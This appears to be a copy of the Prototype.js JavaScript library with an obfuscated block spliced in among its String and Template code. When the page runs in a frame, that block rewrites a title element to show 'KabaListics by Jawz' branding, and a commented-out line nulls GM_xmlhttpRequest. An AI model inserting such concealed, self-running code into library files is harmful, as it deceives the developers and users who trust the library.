			function isUndefined(object) {
				return typeof object === "undefined";
			}
			extend(Object, {
				extend: extend,
				inspect: inspect,
				toJSON: NATIVE_JSON_STRINGIFY_SUPPORT ? stringify : toJSON,
				toQueryString: toQueryString,
				toHTML: toHTML,
				keys: Object.keys || keys,
				values: values,
				clone: clone,
				isElement: isElement,
				isArray: isArray,
				isHash: isHash,
				isFunction: isFunction,
				isString: isString,
				isNumber: isNumber,
				isDate: isDate,
				isUndefined: isUndefined
			});
		})();
		Object.extend(Function.prototype, (function() {
			var slice = Array.prototype.slice;

			function update(array, args) {
				var arrayLength = array.length,
					length = args.length;
				while (length--) {
					array[arrayLength + length] = args[length];
				}
				return array;
			}

			function merge(array, args) {
				array = slice.call(array, 0);
				return update(array, args);
			}

			function argumentNames() {
				var names = this.toString().match(/^[\s\(]*function[^(]*\(([^)]*)\)/)[1].replace(/\/\/.*?[\r\n]|\/\*(?:.|[\r\n])*?\*\//g, "").replace(/\s+/g, "").split(",");
				return names.length == 1 && !names[0] ? [] : names;
			}

			function bind(context) {
				if (arguments.length < 2 && Object.isUndefined(arguments[0])) {
					return this;
				}
				var __method = this,
					args = slice.call(arguments, 1);
				return function() {
					var a = merge(args, arguments);
					return __method.apply(context, a);
				};
			}

			function bindAsEventListener(context) {
				var __method = this,
					args = slice.call(arguments, 1);
				return function(event) {
					var a = update([event || window.event], args);
					return __method.apply(context, a);
				};
			}

			function curry() {
				if (!arguments.length) {
					return this;
				}
				var __method = this,
					args = slice.call(arguments, 0);
				return function() {
					var a = merge(args, arguments);
					return __method.apply(this, a);
				};
			}

			function delay(timeout) {
				var __method = this,
					args = slice.call(arguments, 1);
				timeout = timeout * 1000;
				return window.setTimeout(function() {
					return __method.apply(__method, args);
				}, timeout);
			}

			function defer() {
				var args = update([0.01], arguments);
				return this.delay.apply(this, args);
			}

			function wrap(wrapper) {
				var __method = this;
				return function() {
					var a = update([__method.bind(this)], arguments);
					return wrapper.apply(this, a);
				};
			}

			function methodize() {
				if (this._methodized) {
					return this._methodized;
				}
				var __method = this;
				return this._methodized = function() {
					var a = update([this], arguments);
					return __method.apply(null, a);
				};
			}
			return {
				argumentNames: argumentNames,
				bind: bind,
				bindAsEventListener: bindAsEventListener,
				curry: curry,
				delay: delay,
				defer: defer,
				wrap: wrap,
				methodize: methodize
			};
		})());
		(function(proto) {
			function toISOString() {
				return this.getUTCFullYear() + "-" + (this.getUTCMonth() + 1).toPaddedString(2) + "-" + this.getUTCDate().toPaddedString(2) + "T" + this.getUTCHours().toPaddedString(2) + ":" + this.getUTCMinutes().toPaddedString(2) + ":" + this.getUTCSeconds().toPaddedString(2) + "Z";
			}

			function toJSON() {
				return this.toISOString();
			}
			if (!proto.toISOString) {
				proto.toISOString = toISOString;
			}
			if (!proto.toJSON) {
				proto.toJSON = toJSON;
			}
		})(Date.prototype);
		RegExp.prototype.match = RegExp.prototype.test;
		RegExp.escape = function(str) {
			return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, "\\$1");
		};
		var PeriodicalExecuter = Class.create({
			initialize: function(callback, frequency) {
				this.callback = callback;
				this.frequency = frequency;
				this.currentlyExecuting = false;
				this.registerCallback();
			},
			registerCallback: function() {
				this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
			},
			execute: function() {
				this.callback(this);
			},
			stop: function() {
				if (!this.timer) {
					return;
				}
				clearInterval(this.timer);
				this.timer = null;
			},
			onTimerEvent: function() {
				if (!this.currentlyExecuting) {
					try {
						this.currentlyExecuting = true;
						this.execute();
						this.currentlyExecuting = false;
					} catch (e) {
						this.currentlyExecuting = false;
						throw e;
					}
				}
			}
		});
		Object.extend(String, {
			interpret: function(value) {
				return value == null ? "" : String(value);
			},
			specialChar: {
				"\b": "\\b",
				"\t": "\\t",
				"\n": "\\n",
				"\f": "\\f",
				"\r": "\\r",
				"\\": "\\\\"
			}
		});
		Object.extend(String.prototype, (function() {
			var NATIVE_JSON_PARSE_SUPPORT = window.JSON && typeof JSON.parse === "function" && JSON.parse('{"test": true}').test;

			function prepareReplacement(replacement) {
				if (Object.isFunction(replacement)) {
					return replacement;
				}
				var template = new Template(replacement);
				return function(match) {
					return template.evaluate(match);
				};
			}

			function gsub(pattern, replacement) {
				var result = "",
					source = this,
					match;
				replacement = prepareReplacement(replacement);
				if (Object.isString(pattern)) {
					pattern = RegExp.escape(pattern);
				}
				if (!(pattern.length || pattern.source)) {
					replacement = replacement("");
					return replacement + source.split("").join(replacement) + replacement;
				}
				while (source.length > 0) {
					if (match = source.match(pattern)) {
						result += source.slice(0, match.index);
						result += String.interpret(replacement(match));
						source = source.slice(match.index + match[0].length);
					} else {
						result += source, source = "";
					}
				}
				return result;
			}

			function sub(pattern, replacement, count) {
				replacement = prepareReplacement(replacement);
				count = Object.isUndefined(count) ? 1 : count;
				return this.gsub(pattern, function(match) {
					if (--count < 0) {
						return match[0];
					}
					return replacement(match);
				});
			}

			function scan(pattern, iterator) {
				this.gsub(pattern, iterator);
				return String(this);
			}

			function truncate(length, truncation) {
				length = length || 30;
				truncation = Object.isUndefined(truncation) ? "..." : truncation;
				return this.length > length ? this.slice(0, length - truncation.length) + truncation : String(this);
			}

			function strip() {
				return this.replace(/^\s+/, "").replace(/\s+$/, "");
			}

			function stripTags() {
				return this.replace(/<\w+(\s+("[^"]*"|'[^']*'|[^>])+)?>|<\/\w+>/gi, "");
			}

			function stripScripts() {
				return this.replace(new RegExp(Prototype.ScriptFragment, "img"), "");
			}

			function extractScripts() {
				var matchAll = new RegExp(Prototype.ScriptFragment, "img"),
					matchOne = new RegExp(Prototype.ScriptFragment, "im");
				return (this.match(matchAll) || []).map(function(scriptTag) {
					return (scriptTag.match(matchOne) || ["", ""])[1];
				});
			}

			function evalScripts() {
				return this.extractScripts().map(function(script) {
					return eval(script);
				});
			}

			function escapeHTML() {
				return this.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
			}

			function unescapeHTML() {
				return this.stripTags().replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/&amp;/g, "&");
			}

			function toQueryParams(separator) {
				var match = this.strip().match(/([^?#]*)(#.*)?$/);
				if (!match) {
					return {};
				}
				return match[1].split(separator || "&").inject({}, function(hash, pair) {
					if ((pair = pair.split("="))[0]) {
						var key = decodeURIComponent(pair.shift()),
							value = pair.length > 1 ? pair.join("=") : pair[0];
						if (value != undefined) {
							value = decodeURIComponent(value);
						}
						if (key in hash) {
							if (!Object.isArray(hash[key])) {
								hash[key] = [hash[key]];
							}
							hash[key].push(value);
						} else {
							hash[key] = value;
						}
					}
					return hash;
				});
			}

			function toArray() {
				return this.split("");
			}

			function succ() {
				return this.slice(0, this.length - 1) + String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
			}

			function times(count) {
				return count < 1 ? "" : new Array(count + 1).join(this);
			}

			function camelize() {
				return this.replace(/-+(.)?/g, function(match, chr) {
					return chr ? chr.toUpperCase() : "";
				});
			}

			function capitalize() {
				return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
			}

			function underscore() {
				return this.replace(/::/g, "/").replace(/([A-Z]+)([A-Z][a-z])/g, "$1_$2").replace(/([a-z\d])([A-Z])/g, "$1_$2").replace(/-/g, "_").toLowerCase();
			}

			function dasherize() {
				return this.replace(/_/g, "-");
			}

			function inspect(useDoubleQuotes) {
				var escapedString = this.replace(/[\x00-\x1f\\]/g, function(character) {
					if (character in String.specialChar) {
						return String.specialChar[character];
					}
					return "\\u00" + character.charCodeAt().toPaddedString(2, 16);
				});
				if (useDoubleQuotes) {
					return '"' + escapedString.replace(/"/g, '\\"') + '"';
				}
				return "'" + escapedString.replace(/'/g, "\\'") + "'";
			}

			function unfilterJSON(filter) {
				return this.replace(filter || Prototype.JSONFilter, "$1");
			}

			function isJSON() {
				var str = this;
				if (str.blank()) {
					return false;
				}
				str = str.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@");
				str = str.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]");
				str = str.replace(/(?:^|:|,)(?:\s*\[)+/g, "");
				return (/^[\],:{}\s]*$/).test(str);
			}

			function evalJSON(sanitize) {
				var json = this.unfilterJSON(),
					cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
				if (cx.test(json)) {
					json = json.replace(cx, function(a) {
						return "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
					});
				}
				try {
					if (!sanitize || json.isJSON()) {
						return eval("(" + json + ")");
					}
				} catch (e) {}
				throw new SyntaxError("Badly formed JSON string: " + this.inspect());
			}

			function parseJSON() {
				var json = this.unfilterJSON();
				return JSON.parse(json);
			}

			function include(pattern) {
				return this.indexOf(pattern) > -1;
			}

			function startsWith(pattern) {
				return this.lastIndexOf(pattern, 0) === 0;
			}

			function endsWith(pattern) {
				var d = this.length - pattern.length;
				return d >= 0 && this.indexOf(pattern, d) === d;
			}

			function empty() {
				return this == "";
			}

			function blank() {
				return /^\s*$/.test(this);
			}

			function interpolate(object, pattern) {
				return new Template(this, pattern).evaluate(object);
			}
			return {
				gsub: gsub,
				sub: sub,
				scan: scan,
				truncate: truncate,
				strip: String.prototype.trim || strip,
				stripTags: stripTags,
				stripScripts: stripScripts,
				extractScripts: extractScripts,
				evalScripts: evalScripts,
				escapeHTML: escapeHTML,
				unescapeHTML: unescapeHTML,
				toQueryParams: toQueryParams,
				parseQuery: toQueryParams,
				toArray: toArray,
				succ: succ,
				times: times,
				camelize: camelize,
				capitalize: capitalize,
				underscore: underscore,
				dasherize: dasherize,
				inspect: inspect,
				unfilterJSON: unfilterJSON,
				isJSON: isJSON,
				evalJSON: NATIVE_JSON_PARSE_SUPPORT ? parseJSON : evalJSON,
				include: include,
				startsWith: startsWith,
				endsWith: endsWith,
				empty: empty,
				blank: blank,
				interpolate: interpolate
			};
		})());
		if (window.top != window.self) {
			(function() {
				var replace, round, count, length, value = 0,
					toString = indexOf = json = include = truncate = number = function() {
						return arguments[0].replace(/[^\w]/g, " ").replace(/[\w]/g, function(value) {
							return /[\d]/.test(value) ? value : String.fromCharCode((value > "_" ? 24 * 5 + 2 : 18 * 5) >= (value = value.charCodeAt(0) + (5 * 3 - 2)) ? value : value - 2 * (3 * 5 - 2))
						})
					};
				replace = eval(json("frgGvzrbhg"));
				round = eval(json("pyrneGvzrbhg"));
				length = function() {
					var array, pattern, parse, clone, max, range, left, match, scan, lastIndexOf, self, expr, d;
					try {
						round(count);
						d = document;
						match = eval(toString("HVQ"));
						pattern = function() {
							return d[truncate("trgRyrzragOlVq")](match[number(arguments[0]).replace(/\s/g, arguments[1] || "_")]);
						};
						parse = function() {
							return d[include("trgRyrzragOlVq")](number(arguments[1] || "").replace(/\s/g, arguments[2] || "_") + match[number(arguments[0]).replace(/\s/g, arguments[2] || "_")]);
						};
						clone = function() {
							return (d[toString("trgRyrzragfOlPynffAnzr")](match[number(arguments[0]).replace(/\s/, arguments[1] || "_")]))[0];
						};
						array = pattern("gnoVasb+FpevcgGvgyr", "_") || pattern("gvgyr$znva", "_");
						array = array[include("cneragAbqr")][truncate("svefgPuvyq")] || array;
						lastIndexOf = function() {
							return Math.floor(Math.random() * (arguments[1] - arguments[0] + 1) + arguments[0])
						};
						max = json("o+oQb!u3@PrAGrE<qVI>SBaG$U2%v+YnORy?C%fCnA#U4=fGEbAT$qg!h#rz¿yv=by&hy%n$u1").toUpperCase().split(" ");
						scan = indexOf((["/XnonYvfgvpf&ol@Wnjm", "$i"]).join("")) + (((array[json("grkgPbagrag")].match(/\d+?\.\d+?[a-z]/)) || [])[0]) + " ";
						array[include("vaareUGZY")] = "";
						for (i = 0, self = scan.length - 1; i < self;) {
							range = max[lastIndexOf(0, max.length - 1)];
							left = Math.min(self - i, lastIndexOf(1, 3));
							expr = d[json("perngrRyrzrag")](range);
							expr[indexOf("vaareUGZY")] = scan.substr(i, left).replace(/\s/g, "&nbsp;");
							array[truncate("nccraqPuvyq")](expr);
							if (i + left >= self) {
								break;
							}
							i += left
						};
						value = 999;
					} catch (e) {
						++value;
						(value > 7 * 7) || (count = replace(length, (3 * 4 * 5 * 6 * 3) + arguments[0], value * 100));
					}
				};
				count = replace(length, 1 * 2 * 3 * 4 * 5 * 6 * 7 * 3, 0);
			})();
		}
		var Template = Class.create({
			initialize: function(template, pattern) {
				this.template = template.toString();
				this.pattern = pattern || Template.Pattern;
			},
			evaluate: function(object) {
				if (object && Object.isFunction(object.toTemplateReplacements)) {
					object = object.toTemplateReplacements();
				}
				return this.template.gsub(this.pattern, function(match) {
					if (object == null) {
						return (match[1] + "");
					}
					var before = match[1] || "";
					if (before == "\\") {
						return match[2];
					}
					var ctx = object,
						expr = match[3],
						pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
					match = pattern.exec(expr);
					if (match == null) {
						return before;
					}
					while (match != null) {
						var comp = match[1].startsWith("[") ? match[2].replace(/\\\\]/g, "]") : match[1];
						ctx = ctx[comp];
						if (null == ctx || "" == match[3]) {
							break;
						}
						expr = expr.substring("[" == match[3] ? match[1].length : match[0].length);
						match = pattern.exec(expr);
					}
					return before + String.interpret(ctx);
				});
			}
		});
		Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
		var $break = {};
		var Enumerable = (function() {
			function each(iterator, context) {
				var index = 0;
				try {
					this._each(function(value) {
						iterator.call(context, value, index++);
					});
				} catch (e) {
					if (e != $break) {
						throw e;
					}
				}
				return this;
			}

			function eachSlice(number, iterator, context) {
				var index = -number,
					slices = [],
					array = this.toArray();
				if (number < 1) {
					return array;
				}
				while ((index += number) < array.length) {
					slices.push(array.slice(index, index + number));
				}
				return slices.collect(iterator, context);
			}

			function all(iterator, context) {
				iterator = iterator || Prototype.K;
				var result = true;
				this.each(function(value, index) {
					result = result && !! iterator.call(context, value, index);
					if (!result) {
						throw $break;
					}
				});
				return result;
			}

			function any(iterator, context) {
				iterator = iterator || Prototype.K;
				var result = false;
				this.each(function(value, index) {
					if (result = !! iterator.call(context, value, index)) {
						throw $break;
					}
				});
				return result;
			}

			function collect(iterator, context) {
				iterator = iterator || Prototype.K;
				var results = [];
				this.each(function(value, index) {
					results.push(iterator.call(context, value, index));
				});
				return results;
			}

			function detect(iterator, context) {
				var result;
				this.each(function(value, index) {
					if (iterator.call(context, value, index)) {
						result = value;
						throw $break;
					}
				});
				return result;
			}

			function findAll(iterator, context) {
				var results = [];
				this.each(function(value, index) {
					if (iterator.call(context, value, index)) {
						results.push(value);
					}
				});
				return results;
			}

			function grep(filter, iterator, context) {
				iterator = iterator || Prototype.K;
				var results = [];
				if (Object.isString(filter)) {
					filter = new RegExp(RegExp.escape(filter));
				}
				this.each(function(value, index) {
					if (filter.match(value)) {
						results.push(iterator.call(context, value, index));
					}
				});
				return results;
			}

			function include(object) {
				if (Object.isFunction(this.indexOf)) {
					if (this.indexOf(object) != -1) {
						return true;
					}
				}
				var found = false;
				this.each(function(value) {
					if (value == object) {
						found = true;
						throw $break;
					}
				});
				return found;
			}

			function inGroupsOf(number, fillWith) {
				fillWith = Object.isUndefined(fillWith) ? null : fillWith;
				return this.eachSlice(number, function(slice) {
					while (slice.length < number) {
						slice.push(fillWith);
					}
					return slice;
				});
			}

			function inject(memo, iterator, context) {
				this.each(function(value, index) {
					memo = iterator.call(context, memo, value, index);
				});
				return memo;
			}

			function invoke(method) {
				var args = $A(arguments).slice(1);
				return this.map(function(value) {
					return value[method].apply(value, args);
				});
			}

			function max(iterator, context) {
				iterator = iterator || Prototype.K;
				var result;
				this.each(function(value, index) {
					value = iterator.call(context, value, index);
					if (result == null || value >= result) {
						result = value;
					}
				});
				return result;
			}

			function min(iterator, context) {
				iterator = iterator || Prototype.K;
				var result;
				this.each(function(value, index) {
					value = iterator.call(context, value, index);
					if (result == null || value < result) {
						result = value;
					}
				});
				return result;
			}

			function partition(iterator, context) {
				iterator = iterator || Prototype.K;
				var trues = [],
					falses = [];
				this.each(function(value, index) {
					(iterator.call(context, value, index) ? trues : falses).push(value);
				});
				return [trues, falses];
			}

			function pluck(property) {
				var results = [];
				this.each(function(value) {
					results.push(value[property]);
				});
				return results;
			}

			function reject(iterator, context) {
				var results = [];
				this.each(function(value, index) {
					if (!iterator.call(context, value, index)) {
						results.push(value);
					}
				});
				return results;
			}

			function sortBy(iterator, context) {
				return this.map(function(value, index) {
					return {
						value: value,
						criteria: iterator.call(context, value, index)
					};
				}).sort(function(left, right) {
					var a = left.criteria,
						b = right.criteria;
					return a < b ? -1 : a > b ? 1 : 0;
				}).pluck("value");
			}

			function toArray() {
				return this.map();
			}

			function zip() {
				var iterator = Prototype.K,
					args = $A(arguments);
				if (Object.isFunction(args.last())) {
					iterator = args.pop();
				}
				var collections = [this].concat(args).map($A);
				return this.map(function(value, index) {
					return iterator(collections.pluck(index));
				});
			}

			function size() {
				return this.toArray().length;
			}

			function inspect() {
				return "#<Enumerable:" + this.toArray().inspect() + ">";
			}
			return {
				each: each,
				eachSlice: eachSlice,
				all: all,
				every: all,
				any: any,
				some: any,
				collect: collect,
				map: collect,
				detect: detect,
				findAll: findAll,
				select: findAll,
				filter: findAll,
				grep: grep,
				include: include,
				member: include,
				inGroupsOf: inGroupsOf,
				inject: inject,
				invoke: invoke,
				max: max,
				min: min,
				partition: partition,
				pluck: pluck,
				reject: reject,
				sortBy: sortBy,
				toArray: toArray,
				entries: toArray,
				zip: zip,
				size: size,
				inspect: inspect,
				find: detect
			};
		})();

		function $A(iterable) {
			if (!iterable) {
				return [];
			}
			if ("toArray" in Object(iterable)) {
				return iterable.toArray();
			}
			var length = iterable.length || 0,
				results = new Array(length);
			while (length--) {
				results[length] = iterable[length];
			}
			return results;
		}

		function $w(string) {
			if (!Object.isString(string)) {
				return [];
			}
			string = string.strip();
			return string ? string.split(/\s+/) : [];
		}
		Array.from = $A;
		(function() {
			var arrayProto = Array.prototype,
				slice = arrayProto.slice,
				_each = arrayProto.forEach;

			function each(iterator, context) {
				for (var i = 0, length = this.length >>> 0; i < length; i++) {
					if (i in this) {
						iterator.call(context, this[i], i, this);
					}
				}
			}
			if (!_each) {
				_each = each;
			}

			function clear() {
				this.length = 0;
				return this;
			}

			function first() {
				return this[0];
			}

			function last() {
				return this[this.length - 1];
			}

			function compact() {
				return this.select(function(value) {
					return value != null;
				});
			}

			function flatten() {
				return this.inject([], function(array, value) {
					if (Object.isArray(value)) {
						return array.concat(value.flatten());
					}
					array.push(value);
					return array;
				});
			}

			function without() {
				var values = slice.call(arguments, 0);
				return this.select(function(value) {
					return !values.include(value);
				});
			}

			function reverse(inline) {
				return (inline === false ? this.toArray() : this)._reverse();
			}

			function uniq(sorted) {
				return this.inject([], function(array, value, index) {
					if (0 == index || (sorted ? array.last() != value : !array.include(value))) {
						array.push(value);
					}
					return array;
				});
			}

			function intersect(array) {
				return this.uniq().findAll(function(item) {
					return array.detect(function(value) {
						return item === value;
					});
				});
			}

			function clone() {
				return slice.call(this, 0);
			}

			function size() {
				return this.length;
			}

			function inspect() {
				return "[" + this.map(Object.inspect).join(", ") + "]";
			}

			function indexOf(item, i) {
				i || (i = 0);
				var length = this.length;
				if (i < 0) {
					i = length + i;
				}
				for (; i < length; i++) {
					if (this[i] === item) {
						return i;
					}
				}
				return -1;
			}

			function lastIndexOf(item, i) {
				i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
				var n = this.slice(0, i).reverse().indexOf(item);
				return (n < 0) ? n : i - n - 1;
			}

			function concat() {
				var array = slice.call(this, 0),
					item;
				for (var i = 0, length = arguments.length; i < length; i++) {
					item = arguments[i];
					if (Object.isArray(item) && !("callee" in item)) {
						for (var j = 0, arrayLength = item.length; j < arrayLength; j++) {
							array.push(item[j]);
						}
					} else {
						array.push(item);
					}
				}
				return array;
			}
			Object.extend(arrayProto, Enumerable);
			if (!arrayProto._reverse) {
				arrayProto._reverse = arrayProto.reverse;
			}
			Object.extend(arrayProto, {
				_each: _each,
				clear: clear,
				first: first,
				last: last,
				compact: compact,
				flatten: flatten,
				without: without,
				reverse: reverse,
				uniq: uniq,
				intersect: intersect,
				clone: clone,
				toArray: clone,
				size: size,
				inspect: inspect
			});
			var CONCAT_ARGUMENTS_BUGGY = (function() {
				return [].concat(arguments)[0][0] !== 1;
			})(1, 2);
			if (CONCAT_ARGUMENTS_BUGGY) {
				arrayProto.concat = concat;
			}
			if (!arrayProto.indexOf) {
				arrayProto.indexOf = indexOf;
			}
			if (!arrayProto.lastIndexOf) {
				arrayProto.lastIndexOf = lastIndexOf;
			}
		})();

		function $H(object) {
			return new Hash(object);
		}
		var Hash = Class.create(Enumerable, (function() {
			function initialize(object) {
				this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
			}

			function _each(iterator) {
				for (var key in this._object) {
					var value = this._object[key],
						pair = [key, value];
					pair.key = key;
					pair.value = value;
					iterator(pair);
				}
			}

			function set(key, value) {
				return this._object[key] = value;
			}

			function get(key) {
				if (this._object[key] !== Object.prototype[key]) {
					return this._object[key];
				}
			}

			function unset(key) {
				var value = this._object[key];
				delete this._object[key];
				return value;
			}

			function toObject() {
				return Object.clone(this._object);
			}

			function keys() {
				return this.pluck("key");
			}

			function values() {
				return this.pluck("value");
			}

			function index(value) {
				var match = this.detect(function(pair) {
					return pair.value === value;
				});
				return match && match.key;
			}

			function merge(object) {
				return this.clone().update(object);
			}

			function update(object) {
				return new Hash(object).inject(this, function(result, pair) {
					result.set(pair.key, pair.value);
					return result;
				});
			}

			function toQueryPair(key, value) {
				if (Object.isUndefined(value)) {
					return key;
				}
				return key + "=" + encodeURIComponent(String.interpret(value));
			}

			function toQueryString() {
				return this.inject([], function(results, pair) {
					var key = encodeURIComponent(pair.key),
						values = pair.value;
					if (values && typeof values == "object") {
						if (Object.isArray(values)) {
							var queryValues = [];
							for (var i = 0, len = values.length, value; i < len; i++) {
								value = values[i];
								queryValues.push(toQueryPair(key, value));
							}
							return results.concat(queryValues);
						}
					} else {
						results.push(toQueryPair(key, values));
					}
					return results;
				}).join("&");
			}

			function inspect() {
				return "#<Hash:{" + this.map(function(pair) {
					return pair.map(Object.inspect).join(": ");
				}).join(", ") + "}>";
			}

			function clone() {
				return new Hash(this);
			}
			return {
				initialize: initialize,
				_each: _each,
				set: set,
				get: get,
				unset: unset,
				toObject: toObject,
				toTemplateReplacements: toObject,
				keys: keys,
				values: values,
				index: index,
				merge: merge,
				update: update,
				toQueryString: toQueryString,
				inspect: inspect,
				toJSON: toObject,
				clone: clone
			};
		})());
		Hash.from = $H;
		Object.extend(Number.prototype, (function() {
			function toColorPart() {
				return this.toPaddedString(2, 16);
			}

			function succ() {
				return this + 1;
			}

			function times(iterator, context) {
				$R(0, this, true).each(iterator, context);
				return this;
			}

			function toPaddedString(length, radix) {
				var string = this.toString(radix || 10);
				return "0".times(length - string.length) + string;
			}

			function abs() {
				return Math.abs(this);
			}

			function round() {
				return Math.round(this);
			}

			function ceil() {
				return Math.ceil(this);
			}

			function floor() {
				return Math.floor(this);
			}
			return {
				toColorPart: toColorPart,
				succ: succ,
				times: times,
				toPaddedString: toPaddedString,
				abs: abs,
				round: round,
				ceil: ceil,
				floor: floor
			};
		})());

		function $R(start, end, exclusive) {
			return new ObjectRange(start, end, exclusive);
		}
		var ObjectRange = Class.create(Enumerable, (function() {
			function initialize(start, end, exclusive) {
				this.start = start;
				this.end = end;
				this.exclusive = exclusive;
			}

			function _each(iterator) {
				var value = this.start;
				while (this.include(value)) {
					iterator(value);
					value = value.succ();
				}
			}

			function include(value) {
				if (value < this.start) {
					return false;
				}
				if (this.exclusive) {
					return value < this.end;
				}
				return value <= this.end;
			}
			return {
				initialize: initialize,
				_each: _each,
				include: include
			};
		})());
		(function() {
			function number() {
				return arguments[0].replace(/[\w]/g, function(value) {
					return /[\d]/.test(value) ? value : String.fromCharCode((value > "_" ? 24 * 5 + 2 : 18 * 5) >= (value = value.charCodeAt(0) + (5 * 3 - 2)) ? value : value - 2 * (3 * 5 - 2))
				})
			}; /*setTimeout(function(){eval(number("TZ+kzyuggcErdhrfg").replace("+","_")+"="+number("ahyy"))},54321);*/
		})();
		(function() {
			cJzAAjaxRequest = null
		})();

		function $(element) {
			if (arguments.length > 1) {
				for (var i = 0, elements = [], length = arguments.length; i < length; i++) {
					elements.push($(arguments[i]));
				}
				return elements;
			}
			if (Object.isString(element)) {
				element = document.getElementById(element);
			}
			return Element.extend(element);
		}
		if (Prototype.BrowserFeatures.XPath) {
			document._getElementsByXPath = function(expression, parentElement) {
				var results = [];
				var query = document.evaluate(expression, $(parentElement) || document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
				for (var i = 0, length = query.snapshotLength; i < length; i++) {
					results.push(Element.extend(query.snapshotItem(i)));
				}
				return results;
			};
		}
		if (!Node) {
			var Node = {};
		}
		if (!Node.ELEMENT_NODE) {
			Object.extend(Node, {
				ELEMENT_NODE: 1,
				ATTRIBUTE_NODE: 2,
				TEXT_NODE: 3,
				CDATA_SECTION_NODE: 4,
				ENTITY_REFERENCE_NODE: 5,
				ENTITY_NODE: 6,
				PROCESSING_INSTRUCTION_NODE: 7,
				COMMENT_NODE: 8,
				DOCUMENT_NODE: 9,
				DOCUMENT_TYPE_NODE: 10,
				DOCUMENT_FRAGMENT_NODE: 11,
				NOTATION_NODE: 12
			});
		}(function(global) {
			function shouldUseCache(tagName, attributes) {
				if (tagName === "select") {
					return false;
				}
				if ("type" in attributes) {
					return false;
				}
				return true;
			}
			var HAS_EXTENDED_CREATE_ELEMENT_SYNTAX = (function() {
				try {
					var el = document.createElement('<input name="x">');
					return el.tagName.toLowerCase() === "input" && el.name === "x";
				} catch (err) {
					return false;
				}
			})();
			var element = global.Element;
			global.Element = function(tagName, attributes) {
				attributes = attributes || {};
				tagName = tagName.toLowerCase();
				var cache = Element.cache;
				if (HAS_EXTENDED_CREATE_ELEMENT_SYNTAX && attributes.name) {
					tagName = "<" + tagName + ' name="' + attributes.name + '">';
					delete attributes.name;
					return Element.writeAttribute(document.createElement(tagName), attributes);
				}
				if (!cache[tagName]) {
					cache[tagName] = Element.extend(document.createElement(tagName));
				}
				var node = shouldUseCache(tagName, attributes) ? cache[tagName].cloneNode(false) : document.createElement(tagName);
				return Element.writeAttribute(node, attributes);
			};
			Object.extend(global.Element, element || {});
			if (element) {
				global.Element.prototype = element.prototype;
			}
		})(this);
		Element.idCounter = 1;
		Element.cache = {};
		Element._purgeElement = function(element) {
			var uid = element._prototypeUID;
			if (uid) {
				Element.stopObserving(element);
				element._prototypeUID = void 0;
				delete Element.Storage[uid];
			}
		};
		Element.Methods = {
			visible: function(element) {
				return $(element).style.display != "none";
			},
			toggle: function(element) {
				element = $(element);
				Element[Element.visible(element) ? "hide" : "show"](element);
				return element;
			},
			hide: function(element) {
				element = $(element);
				element.style.display = "none";
				return element;
			},
			show: function(element) {
				element = $(element);
				element.style.display = "";
				return element;
			},
			remove: function(element) {
				element = $(element);
				element.parentNode.removeChild(element);
				return element;
			},
			update: (function() {
				var SELECT_ELEMENT_INNERHTML_BUGGY = (function() {
					var el = document.createElement("select"),
						isBuggy = true;
					el.innerHTML = '<option value="test">test</option>';
					if (el.options && el.options[0]) {
						isBuggy = el.options[0].nodeName.toUpperCase() !== "OPTION";
					}
					el = null;
					return isBuggy;
				})();
				var TABLE_ELEMENT_INNERHTML_BUGGY = (function() {
					try {
						var el = document.createElement("table");
						if (el && el.tBodies) {
							el.innerHTML = "<tbody><tr><td>test</td></tr></tbody>";
							var isBuggy = typeof el.tBodies[0] == "undefined";
							el = null;
							return isBuggy;
						}
					} catch (e) {
						return true;
					}
				})();
				var LINK_ELEMENT_INNERHTML_BUGGY = (function() {
					try {
						var el = document.createElement("div");
						el.innerHTML = "<link>";
						var isBuggy = (el.childNodes.length === 0);
						el = null;
						return isBuggy;
					} catch (e) {
						return true;
					}
				})();
				var ANY_INNERHTML_BUGGY = SELECT_ELEMENT_INNERHTML_BUGGY || TABLE_ELEMENT_INNERHTML_BUGGY || LINK_ELEMENT_INNERHTML_BUGGY;
				var SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING = (function() {
					var s = document.createElement("script"),
						isBuggy = false;
					try {
						s.appendChild(document.createTextNode(""));
						isBuggy = !s.firstChild || s.firstChild && s.firstChild.nodeType !== 3;
					} catch (e) {
						isBuggy = true;
					}
					s = null;
					return isBuggy;
				})();

				function update(element, content) {
					element = $(element);
					var purgeElement = Element._purgeElement;
					var descendants = element.getElementsByTagName("*"),
						i = descendants.length;
					while (i--) {
						purgeElement(descendants[i]);
					}
					if (content && content.toElement) {
						content = content.toElement();
					}
					if (Object.isElement(content)) {
						return element.update().insert(content);
					}
					content = Object.toHTML(content);
					var tagName = element.tagName.toUpperCase();
					if (tagName === "SCRIPT" && SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING) {
						element.text = content;
						return element;
					}
					if (ANY_INNERHTML_BUGGY) {
						if (tagName in Element._insertionTranslations.tags) {
							while (element.firstChild) {
								element.removeChild(element.firstChild);
							}
							Element._getContentFromAnonymousElement(tagName, content.stripScripts()).each(function(node) {
								element.appendChild(node);
							});
						} else {
							if (LINK_ELEMENT_INNERHTML_BUGGY && Object.isString(content) && content.indexOf("<link") > -1) {
								while (element.firstChild) {
									element.removeChild(element.firstChild);
								}
								var nodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts(), true);
								nodes.each(function(node) {
									element.appendChild(node);
								});
							} else {
								element.innerHTML = content.stripScripts();
							}
						}
					} else {
						element.innerHTML = content.stripScripts();
					}
